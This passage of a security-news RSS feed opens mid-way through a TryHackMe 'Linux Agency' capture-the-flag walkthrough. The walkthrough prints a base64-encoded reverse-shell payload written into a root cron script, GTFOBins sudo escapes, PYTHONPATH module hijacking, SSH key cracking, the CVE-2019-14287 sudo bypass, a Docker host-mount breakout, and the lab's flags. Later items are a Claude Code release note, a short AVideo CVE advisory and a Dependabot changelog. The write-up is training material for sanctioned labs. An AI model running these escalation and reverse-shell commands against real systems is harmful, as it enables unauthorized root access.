-rn "mission30" /home/mission29/bludit/</pre><p>The flag is buried inside Bludit CMS’s file structure.</p><pre>su mission30<br># Password: mission30{d25b4c9fac38411d2fcb4796171bda6e}</pre><h3>🎯 Viktor — Git History</h3><pre># As mission30:<br>ls /home/mission30/<br>cd /home/mission30/Escalator/<br>git --no-pager log</pre><p>Browse the git commit history — the flag is hidden in there.</p><pre>su viktor<br># Password: viktor{b52c60124c0f8f85fe647021122b3d9a}</pre><blockquote><strong>💡 What we learned:</strong><em> </em><em>git log reveals commit history. In real-world pentesting, exposed git repositories are a goldmine — credentials, API keys, and internal logic are frequently committed and never properly removed.</em></blockquote><h3>🔓 Task 4: Privilege Escalation</h3><p>You’re now <strong>viktor</strong>. The “special targets” phase begins — each user requires a different privilege escalation technique.</p><h3>🎯 Dalia — Cron Job Exploitation</h3><pre># As viktor:<br>cat /etc/crontab</pre><p>Output:</p><pre>* * * * * root bash /opt/scripts/47.sh</pre><p>Root runs /opt/scripts/47.sh every minute. Check the script and your permissions:</p><pre>cat /opt/scripts/47.sh<br>ls -la /opt/scripts/47.sh<br># You have write access!</pre><p><strong>Step 1:</strong> Create your reverse shell payload:</p><pre>vim /tmp/eop.sh</pre><p>Contents:</p><pre>#!/bin/bash<br>bash -i &gt;&amp; /dev/tcp/127.0.0.1/9999 0&gt;&amp;1</pre><p><strong>Step 2:</strong> Base64-encode it and overwrite the cron script:</p><pre>cat /tmp/eop.sh | base64 -w 0<br># Copy the output, then:<br>echo 'IyEvYmluL2Jhc2gKYmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx' | base64 -d &gt; /opt/scripts/47.sh</pre><p><strong>Step 3:</strong> Set up your listener:</p><pre>nc -nlvp 9999</pre><p>Wait up to 60 seconds. The cron job fires and you get a shell as <strong>dalia</strong>:</p><pre># In the received shell:<br>id<br># uid=1000(dalia) ...<br>cat /home/dalia/flag.txt</pre><p><strong>Upgrade the shell (important for stability):</strong></p><pre>python3 -c 'import pty;pty.spawn("/bin/bash")'<br>export TERM=xterm<br>export SHELL=bash<br># Press Ctrl+Z<br>stty raw -echo; fg</pre><p>Flag: dalia{4a94a7a7bb4a819a63a33979926c77dc}</p><blockquote><strong>💡 What we learned:</strong><em> Cron job exploitation — one of the most common Linux PrivEsc vectors in the wild. The checklist: find writable scripts executed by root → inject reverse shell → wait. Always enumerate </em><em>/etc/crontab, </em><em>/etc/cron.d/, and </em><em>/var/spool/cron/.</em></blockquote><h3>🎯 Silvio — sudo + zip (GTFOBins)</h3><pre># As dalia:<br>sudo -l<br># (dalia) NOPASSWD: /usr/bin/zip as silvio</pre><p>From GTFOBins — zip sudo escape:</p><pre>TF=$(mktemp -u)<br>sudo -u silvio zip $TF /etc/hosts -T -TT 'sh #'</pre><pre>id<br># uid=... (silvio)<br>cat /home/silvio/flag.txt</pre><p>Flag: silvio{657b4d058c03ab9988875bc937f9c2ef}</p><blockquote><strong>💡 What we learned:</strong><em> </em><a href="https://gtfobins.github.io/"><em>GTFOBins</em></a><em> — the essential reference for abusing binaries with sudo, SUID, or capabilities. When you see </em><em>sudo -l, immediately cross-reference every allowed binary against GTFOBins.</em></blockquote><h3>🎯 Reza — sudo + git (GTFOBins)</h3><pre># As silvio:<br>sudo -l<br># (silvio) NOPASSWD: /usr/bin/git as reza</pre><p>GTFOBins git sudo escape (uses PAGER environment variable):</p><pre>sudo -u reza PAGER='sh -c "exec sh 0&lt;&amp;1"' git -p help</pre><pre>id<br># uid=... (reza)<br>cat /home/reza/flag.txt</pre><p>Flag: reza{2f1901644eda75306f3142d837b80d3e}</p><blockquote><strong>💡 What we learned:</strong><em> Git’s </em><em>--paginate (</em><em>-p) feature invokes a pager, and by hijacking the </em><em>PAGER env variable we execute arbitrary commands. Many programs that invoke external processes are susceptible to this pattern.</em></blockquote><h3>🎯 Jordan — PYTHONPATH Hijacking</h3><pre># As reza:<br>sudo -l<br># (reza) NOPASSWD: /opt/scripts/Gun-Shop.py as jordan</pre><p>Run the script:</p><pre>sudo -u jordan /opt/scripts/Gun-Shop.py<br># Error: No module named 'shop'</pre><p>The script imports a module called shop which doesn't exist. We can create it in a directory we control:</p><p><strong>Step 1:</strong> Create a malicious shop module:</p><pre>mkdir -p /tmp/shop<br>echo 'import os; os.system("/bin/bash")' &gt; /tmp/shop/shop.py</pre><p><strong>Step 2:</strong> Override PYTHONPATH so Python finds our module first:</p><pre>sudo -u jordan PYTHONPATH=/tmp/shop/ /opt/scripts/Gun-Shop.py</pre><pre>id<br># uid=... (jordan)<br>cat /home/jordan/flag.txt</pre><p>Flag: jordan{fcbc4b3c31c9b58289b3946978f9e3c3}</p><blockquote><strong>💡 What we learned:</strong><em> Python module hijacking — a real-world PrivEsc technique. </em><em>PYTHONPATH tells Python where to search for modules before the standard library paths. If an attacker controls a directory early in that path, they can substitute any module with malicious code.</em></blockquote><h3>🎯 Ken — sudo + less (GTFOBins)</h3><pre># As jordan:<br>sudo -l<br># (jordan) NOPASSWD: /usr/bin/less as ken</pre><pre>sudo -u ken /usr/bin/less /etc/profile</pre><p>Once less opens, type ! followed by:</p><pre>!/bin/sh</pre><p>Press Enter — you drop into a shell as <strong>ken</strong>.</p><pre>id<br>cat /home/ken/flag.txt</pre><p>Flag: ken{4115bf456d1aaf012ed4550c418ba99f}</p><h3>🎯 Sean — sudo + vim (GTFOBins)</h3><pre># As ken:<br>sudo -l<br># (ken) NOPASSWD: /usr/bin/vim as sean</pre><pre>sudo -u sean vim -c ':!/bin/sh'</pre><p>The -c flag runs a Vim command on startup. :!/bin/sh executes a shell command from within Vim.</p><pre>id<br>cat /home/sean/flag.txt</pre><p>Flag: sean{4c5685f4db7966a43cf8e95859801281}</p><blockquote><strong>💡 What we learned:</strong><em> Vim is far more than a text editor — it can execute shell commands, run scripts, and spawn processes. Granting </em><em>sudo vim to any user is effectively granting root.</em></blockquote><h3>🎯 Penelope — Password Hidden in Base64</h3><pre># As sean:<br>printf %s 'VGhlIHBhc3N3b3JkIG9mIHBlbmVsb3BlIGlzIHAzbmVsb3BlCg==' | base64 -d<br># Output: "The password of penelope is p3nelope"</pre><pre>su penelope<br># Password: p3nelope<br>cat /home/penelope/flag.txt</pre><p>Flag: penelope{2da1c2e9d2bd0004556ae9e107c1d222}</p><h3>🎯 Maya — SUID base64 (GTFOBins)</h3><pre># As penelope:<br>ls -lhA /home/penelope/<br># A 'base64' binary with the SUID bit set!</pre><p>GTFOBins SUID base64 exploit — read files as the binary’s owner:</p><pre>LFILE=/home/maya/flag.txt<br>./base64 "$LFILE" | base64 -d</pre><p>Flag: maya{a66e159374b98f64f89f7c8d458ebb2b}</p><blockquote><strong>💡 What we learned:</strong><em> SUID (Set User ID) — when set on a binary, it executes with the file owner’s privileges rather than the caller’s. Find SUID binaries with: </em><em>find / -perm -4000 2&gt;/dev/null. Cross-reference every result with GTFOBins.</em></blockquote><h3>🎯 Robert — SSH Private Key Cracking</h3><pre># As maya:<br>ls -lhA /home/maya/<br>ls -lhA /home/maya/old_robert_ssh/<br># id_rsa and id_rsa.pub found</pre><p><strong>Step 1:</strong> Copy the private key to your local machine (new terminal tab):</p><pre>scp maya@&lt;IP&gt;:/home/maya/old_robert_ssh/id_rsa ./id_rsa_robert<br>chmod 600 id_rsa_robert</pre><p><strong>Step 2:</strong> Convert the key to a crackable hash:</p><pre>ssh2john id_rsa_robert &gt; robert_ssh_hash.txt</pre><p><strong>Step 3:</strong> Crack it with John the Ripper:</p><pre>john robert_ssh_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt</pre><p><strong>Result:</strong> industryweapon</p><p><strong>Step 4:</strong> Find Robert’s SSH port on the target:</p><pre># On the target machine:<br>ss -nlpt | grep 22<br># Port 2222 is listening</pre><p><strong>Step 5:</strong> Connect:</p><pre>ssh robert@127.0.0.1 -p 2222 -i id_rsa_robert<br># Passphrase: industryweapon<br>cat /home/robert/user.txt</pre><p>Flag (user.txt): user{620fb94d32470e1e9dcf8926481efc96}</p><blockquote><strong>💡 What we learned:</strong><em> SSH private key cracking — </em><em>ssh2john extracts the hash, </em><em>john cracks it. In real engagements, always look for </em><em>id_rsa files in home directories, backup folders, and </em><em>.ssh/ directories. Encrypted keys with weak passphrases are a common finding.</em></blockquote><h3>👑 Root — Two-Stage Escalation</h3><h3>Stage 1: CVE-2019–14287 (Sudo User ID Bypass)</h3><pre># As robert:<br>sudo --version<br># Reveals a vulnerable version (&lt; 1.8.28)<br>sudo -u#-1 /bin/bash<br>whoami<br># root!</pre><p><strong>How it works:</strong> This is <strong>CVE-2019–14287</strong>. When a sudoers rule allows a user to run commands as any user, passing -u#-1 causes sudo to interpret the user ID as 0 (root) due to an integer overflow in how sudo handles negative UIDs. Patched in sudo 1.8.28.</p><pre>cd /root<br>ls</pre><h3>Stage 2: Docker Group → Root (root.txt)</h3><pre># As root (inside the container/restricted environment):<br>id<br># You're in the docker group<br>find / -name docker 2&gt;/dev/null<br># Found at /tmp/docker or similar<br>./docker ps -a<br>./docker image ls<br># "mangoman" image exists</pre><p>Mount the host filesystem into a container and chroot into it:</p><pre>./docker run -v /:/mnt --rm -it mangoman chroot /mnt sh</pre><pre>id<br># uid=0(root) gid=0(root) — TRUE host root<br>cat /root/root.txt</pre><p>Flag (root.txt): root{62ca2110ce7df377872dd9f0797f8476}</p><blockquote><strong>💡 What we learned:</strong><em> Docker group membership is equivalent to root access. </em><em>-v /:/mnt mounts the entire host filesystem into the container, and </em><em>chroot /mnt makes the container treat the host filesystem as its root. This is a well-documented container escape — never add untrusted users to the </em><em>docker group.</em></blockquote><h3>🏆 Flags Summary</h3><p>User Technique Category mission1–11 find / grep / cat Basic enumeration mission12 env Environment variables mission13 chmod File permissions mission14 base64 -d Encoding mission15 Binary → ASCII Encoding mission16 xxd -r -p (Hex) Encoding mission17 chmod u+x Execute permissions mission18 javac + java Java compilation mission19 ruby Scripting mission20 gcc C compilation mission21 python3 Scripting mission22 script -qc Restricted shell escape mission23 pty.spawn() Python interpreter escape mission24 curl + /etc/hosts Virtual hosting mission25 strings + .viminfo Binary analysis mission26 export PATH PATH manipulation mission27 strings on image Steganography mission28 less Long filename edge case mission29 exec in Ruby + .reverse Ruby escape + obfuscation mission30 grep -r in CMS File enumeration viktor git log Git history dalia Writable cron script Cron job exploitation silvio sudo zip GTFOBins reza sudo git + PAGER GTFOBins jordan PYTHONPATH hijack Module hijacking ken sudo less + ! GTFOBins sean sudo vim -c GTFOBins penelope Base64 password Encoded credentials maya SUID base64 SUID exploitation robert ssh2john + john SSH key cracking root (user.txt) sudo -u#-1 CVE-2019-14287 root (root.txt) docker run -v /:/mnt Docker breakout</p><h3>🧠 Key Takeaways</h3><p><strong>Linux Fundamentals:</strong></p><ul><li>ls -la always — hidden files, permissions at a glance</li><li>find and grep -r for wide enumeration</li><li>env for environment variable inspection</li><li>file to identify file types regardless of extension</li><li>strings to extract readable data from binaries</li></ul><p><strong>Encoding &amp; Decoding:</strong></p><ul><li>Base64 (base64 -d), Hex (xxd -r -p), Binary (Python one-liner)</li><li>Reversed strings — check file content and filenames alike</li></ul><p><strong>Scripting Languages:</strong></p><ul><li>Python: pty.spawn("/bin/bash") for shell upgrade</li><li>Ruby: exec "/bin/bash" or Dir/File for file ops</li><li>Java: javac → java, C: gcc → ./binary</li></ul><p><strong>Privilege Escalation Checklist:</strong></p><ol><li>sudo -l → GTFOBins</li><li>find / -perm -4000 2&gt;/dev/null → SUID binaries → GTFOBins</li><li>cat /etc/crontab + ls /etc/cron.d/ → writable scripts run by root</li><li>id → check group memberships (docker!)</li><li>Check $PATH, env variables, writable directories in PATH</li></ol><h3>📚 Resources</h3><ul><li>🔗 <a href="https://gtfobins.github.io/">GTFOBins</a> — sudo/SUID binary exploitation reference</li><li>🔗 <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md">PayloadsAllTheThings — Reverse Shell Cheatsheet</a></li><li>🔗 <a href="https://www.exploit-db.com/exploits/47502">Exploit-DB: CVE-2019–14287</a></li><li>🔗 <a href="https://tryhackme.com/room/sudovulnsbypass">TryHackMe: Sudo Security Bypass</a></li><li>🔗 <a href="https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation">HackTricks: Docker Breakout</a></li><li>🔗 <a href="https://www.rapidtables.com/convert/number/ascii-hex-bin-dec-converter.html">RapidTables Converter</a></li></ul><h3>💬 Final Thoughts</h3><p><strong>Linux Agency</strong> is not just a CTF room — it’s a condensed simulation of a real lateral movement and privilege escalation engagement. The 30-user chain forces you to internalize Linux enumeration as a reflex, not a checklist. The privilege escalation phase covers more ground than most dedicated PrivEsc rooms.</p><p>If you’re preparing for <strong>OSCP</strong>, <strong>CPTS</strong> or any practical security certification, this room belongs in your training regimen. Do it without hints first, refer to this write-up only when truly stuck — the struggle is where the learning happens.</p><p><em>Happy Hacking! 🐧</em></p><p><em>Tags: #TryHackMe #CTF #LinuxAgency #PrivilegeEscalation #Linux #Pentesting #CyberSecurity #OSCP #GTFOBins #WriteUp</em></p><p><em>If you found this useful, feel free to connect on </em><a href="https://linkedin.com/in/camalzads"><em>LinkedIn</em></a><em> or check out my tools on </em><a href="https://github.com/alisalive"><em>GitHub</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=82a20bd23d67" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/tryhackme-linux-agency-complete-write-up-walkthrough-82a20bd23d67">TryHackMe — Linux Agency | Complete Write-Up &amp; Walkthrough</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.1.212]]></title>
<description><![CDATA[What's changed

/fork now copies your conversation into a new background session (its own row in claude agents) while you keep working; the in-session subagent it used to launch is now /subtask
Added claude auto-mode reset to restore the default auto-mode configuration, with a confirmation prompt...]]></description>
<link>https://tsecurity.de/de/3674861/downloads/v21212/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674861/downloads/v21212/</guid>
<pubDate>Fri, 17 Jul 2026 02:31:39 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li><code>/fork</code> now copies your conversation into a new background session (its own row in <code>claude agents</code>) while you keep working; the in-session subagent it used to launch is now <code>/subtask</code></li>
<li>Added <code>claude auto-mode reset</code> to restore the default auto-mode configuration, with a confirmation prompt (pass <code>--yes</code> to skip)</li>
<li>Added a session-wide limit on WebSearch tool calls (default 200, tunable via <code>CLAUDE_CODE_MAX_WEB_SEARCHES_PER_SESSION</code>) to stop runaway search loops</li>
<li>Added a per-session cap on subagent spawns (default 200, override with <code>CLAUDE_CODE_MAX_SUBAGENTS_PER_SESSION</code>) to stop runaway delegation loops; <code>/clear</code> resets the budget</li>
<li>MCP tool calls running longer than 2 minutes now move to the background automatically so the session stays usable; configure the threshold or disable with <code>CLAUDE_CODE_MCP_AUTO_BACKGROUND_MS</code></li>
<li>Typing <code>/resume</code> in the agent view now opens a picker of past sessions — including sessions deleted from the list — and resumes your pick as a background session</li>
<li>Fixed plan mode auto-running file-modifying Bash commands (e.g. <code>touch</code>, <code>rm</code>) without a permission prompt or SDK <code>canUseTool</code> callback</li>
<li>Fixed worktree creation following a repository-committed symlink at <code>.claude/worktrees</code>, which could create files outside the repository</li>
<li>Fixed a <code>continue:false</code> hook's halt being dropped when the tool fails or completes mid-stream, and hook infrastructure errors being misreported as user rejections</li>
<li>Fixed SIGTERM during a running Bash tool orphaning the command's process tree in print/SDK mode; the CLI now aborts the turn, kills the tree, and exits 143</li>
<li>Fixed <code>/background</code> and <code>claude --bg</code> failing with "EUNKNOWN: unknown error, uv_spawn" on Windows when Group Policy blocks PowerShell 5.1; the daemon now prefers PowerShell 7</li>
<li>Fixed shell mode (<code>!</code>) not executing commands containing file paths while the path autocomplete popup was open</li>
<li>Fixed auto-mode denial notifications rendering broken characters when a long denial reason was truncated mid-emoji</li>
<li>Fixed Ctrl+J not inserting a newline in the agent view dispatch input on terminals with extended key reporting, and surfaced the newline shortcut in the <code>?</code> help overlay</li>
<li>Fixed <code>/ultrareview</code> rejecting PR references like <code>#123</code>, <code>PR 123</code>, and pasted PR URLs; error hints now name the command you actually typed</li>
<li>Fixed <code>/ultrareview &lt;branch&gt;</code> not fetching the branch from origin when it exists remotely; it now suggests the closest branch name on typos</li>
<li>Fixed <code>/ultrareview</code> skipping the billing confirmation in a new conversation after <code>/clear</code></li>
<li>Fixed <code>/ultrareview</code>'s "not a git repository" error on Claude Desktop now suggesting the project's repository folder instead of terminal commands</li>
<li>Fixed hosted (host-managed) sessions failing at startup when repository settings configured mTLS certs, extra CA bundles, or OAuth scopes; these transport settings are now ignored with a warning</li>
<li>Fixed a spurious "File has not been read yet" error when editing a file that had been read with offset/limit before resuming a session</li>
<li>Fixed <code>ExitWorktree</code> failing with "no active EnterWorktree session" after resuming a session with <code>--continue</code>/<code>--resume</code> in print/SDK mode</li>
<li>Fixed the workflow agent grid staying empty for Remote Control clients that join a session mid-run</li>
<li>Fixed streaming-mode control requests being marked complete before their handler finished, which could lose the request on session restart</li>
<li>Fixed background sessions created with <code>/fork</code> losing their live-parent protection after a state write failure</li>
<li>Fixed reopening a stopped background session from the agent view failing silently — it now resumes the session, or shows why it can't and lets you force a restart</li>
<li>Fixed agent teams: a stopping teammate could send the leader duplicate idle notifications when team initialization re-ran within a session</li>
<li>Fixed the plan-approval dialog footer splitting "ctrl+g to edit in " apart when the file path is long</li>
<li>Fixed the welcome banner keeping its old panel widths after a combined width+height terminal resize in fullscreen mode</li>
<li>Fixed diff previews losing their line numbers and +/- markers in narrow layouts</li>
<li>Fixed @-mentions attaching nothing after a partial file read, plugin uninstall targeting the wrong marketplace, and false "Command timed out" on exit code 143</li>
<li>Fixed OpenTelemetry HTTP exports being rejected with 411/400 by Azure Monitor and other endpoints that don't accept chunked transfer encoding</li>
<li>Fixed OTLP event log records missing <code>trace_id</code>/<code>span_id</code> when <code>TRACEPARENT</code> is set in SDK/headless mode</li>
<li>Fixed conversations with many images incorrectly failing with "Request too large" errors, and improved the error message to explain the actual cause</li>
<li>Fixed web search and web fetch returning "API Error" text as search results or page content when the API was overloaded</li>
<li>Improved web search and web fetch reliability by retrying 529 errors and rate-limited requests with bounded backoff</li>
<li>Improved prompt caching: the mid-conversation system block now works behind LLM gateways and custom base URLs (Bedrock, Vertex, 1P)</li>
<li>Improved background agent attach: cold-attaching now instantly shows the formatted transcript while the session boots, instead of a blank wait</li>
<li>Reduced token usage in inter-agent messaging: <code>SendMessage</code> bodies are no longer duplicated into replayed history and tool results</li>
<li>Changed <code>/fork</code> to name the copy after your prompt when the session has no title, so the row is recognizable in the agent view</li>
<li>Changed bare <code>/btw</code> to reopen the side-question panel on your most recent exchange so you can browse earlier answers</li>
<li>Changed the <code>←</code> footer hint to pulse <code>N done</code> for a moment when a background agent finishes while nothing needs your input</li>
<li>Deprecated the Task tool's <code>mode</code> parameter (now ignored); subagents inherit the parent session's permission mode by default</li>
<li>Changed Enterprise <code>forceLoginMethod</code> to be enforced for VS Code extension, SDK, <code>setup-token</code>, and <code>install-github-app</code> logins, not just the terminal</li>
<li>Changed session transcripts to record the reasoning effort level on each assistant message</li>
<li>Changed headless/SDK sessions to apply a <code>set_model</code> control request mid-turn; the next model round-trip uses the new model instead of waiting for the next turn</li>
<li>Changed agent view / <code>claude agents --json</code>: sessions waiting on a sandbox, MCP-input, or managed-settings prompt now show as "Needs input" instead of "Working"</li>
<li>Updated the auth status panel title from "Cloud authentication" to "Authentication"</li>
<li>Corrected an earlier release note (2.1.200): tmux through the 3.6 series lacks synchronized output; newer tmux with support is detected automatically</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-33684 | WWBN AVideo up to 28.x signUp API set_api_signUp emailVerified/canUpload/canStream/canCreateMeet permission (CNNVD-2026-94942823)]]></title>
<description><![CDATA[A vulnerability labeled as critical has been found in WWBN AVideo up to 28.x. This impacts the function set_api_signUp of the component signUp API. The manipulation of the argument emailVerified/canUpload/canStream/canCreateMeet results in permission issues.

This vulnerability is known as CVE-20...]]></description>
<link>https://tsecurity.de/de/3674691/sicherheitsluecken/cve-2026-33684-wwbn-avideo-up-to-28x-signup-api-setapisignup-emailverifiedcanuploadcanstreamcancreatemeet-permission-cnnvd-2026-94942823/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674691/sicherheitsluecken/cve-2026-33684-wwbn-avideo-up-to-28x-signup-api-setapisignup-emailverifiedcanuploadcanstreamcancreatemeet-permission-cnnvd-2026-94942823/</guid>
<pubDate>Thu, 16 Jul 2026 23:38:04 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability labeled as <a href="https://vuldb.com/kb/risk">critical</a> has been found in <a href="https://vuldb.com/product/wwbn:avideo">WWBN AVideo up to 28.x</a>. This impacts the function <code>set_api_signUp</code> of the component <em>signUp API</em>. The manipulation of the argument <em>emailVerified/canUpload/canStream/canCreateMeet</em> results in permission issues.

This vulnerability is known as <a href="https://vuldb.com/cve/CVE-2026-33684">CVE-2026-33684</a>. It is possible to launch the attack remotely. No exploit is available.]]></content:encoded>
</item>
<item>
<title><![CDATA[v0.387.0]]></title>
<description><![CDATA[What's Changed

Type the gradle, swift, and pre_commit ecosystems by @JamieMagee in #15534
Default cooldown to 3 days when default-days is not specified (behind a feature flag) by @robaiken with @Copilot in #15344
Use shared base cooldown in git_submodules by @robaiken in #15537
[Update graph] Av...]]></description>
<link>https://tsecurity.de/de/3674606/it-security-tools/v03870/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674606/it-security-tools/v03870/</guid>
<pubDate>Thu, 16 Jul 2026 22:33:50 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>Type the gradle, swift, and pre_commit ecosystems by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4834841548" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15534" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15534/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15534">#15534</a></li>
<li>Default cooldown to 3 days when default-days is not specified (behind a feature flag) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/robaiken/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/robaiken">@robaiken</a> with @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4684952757" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15344" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15344/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15344">#15344</a></li>
<li>Use shared base cooldown in git_submodules by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/robaiken/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/robaiken">@robaiken</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4837613550" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15537" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15537/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15537">#15537</a></li>
<li>[Update graph] Avoid PathDependenciesNotReachable killing the whole job by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brrygrdn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brrygrdn">@brrygrdn</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4830807905" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15522" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15522/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15522">#15522</a></li>
<li>[Update Graph] Ensure that txt/in pairs are included properly in layers when working out references by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brrygrdn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brrygrdn">@brrygrdn</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4884201019" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15581" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15581/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15581">#15581</a></li>
<li>build(deps): bump opentofu to 1.12.1 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RinseV/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RinseV">@RinseV</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4597635124" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15231" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15231/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15231">#15231</a></li>
<li>Type the Sentry before_send processors by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4879702128" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15569" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15569/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15569">#15569</a></li>
<li>Clear T.untyped from four strong updater files by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4879809730" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15570" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15570/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15570">#15570</a></li>
<li>feat(opentofu): use registry API for multi-platform lockfile hashes by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/diofeher/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/diofeher">@diofeher</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4651320321" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15296" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15296/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15296">#15296</a></li>
<li>julia: various fixes by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IanButterworth/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IanButterworth">@IanButterworth</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4851258737" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15549" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15549/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15549">#15549</a></li>
<li>Type git_metadata_fetcher's git responses by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JamieMagee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JamieMagee">@JamieMagee</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4879876600" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15572" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15572/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15572">#15572</a></li>
<li>pre-commit: add regression tests for prerelease version filtering by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/v-HaripriyaC/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/v-HaripriyaC">@v-HaripriyaC</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4840941300" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15542" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15542/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15542">#15542</a></li>
<li>add test ensuring duplicate PRs aren't submitted in security jobs by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brettfo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brettfo">@brettfo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4887247831" data-permission-text="Title is private" data-url="https://github.com/dependabot/dependabot-core/issues/15584" data-hovercard-type="pull_request" data-hovercard-url="/dependabot/dependabot-core/pull/15584/hovercard" href="https://github.com/dependabot/dependabot-core/pull/15584">#15584</a></li>
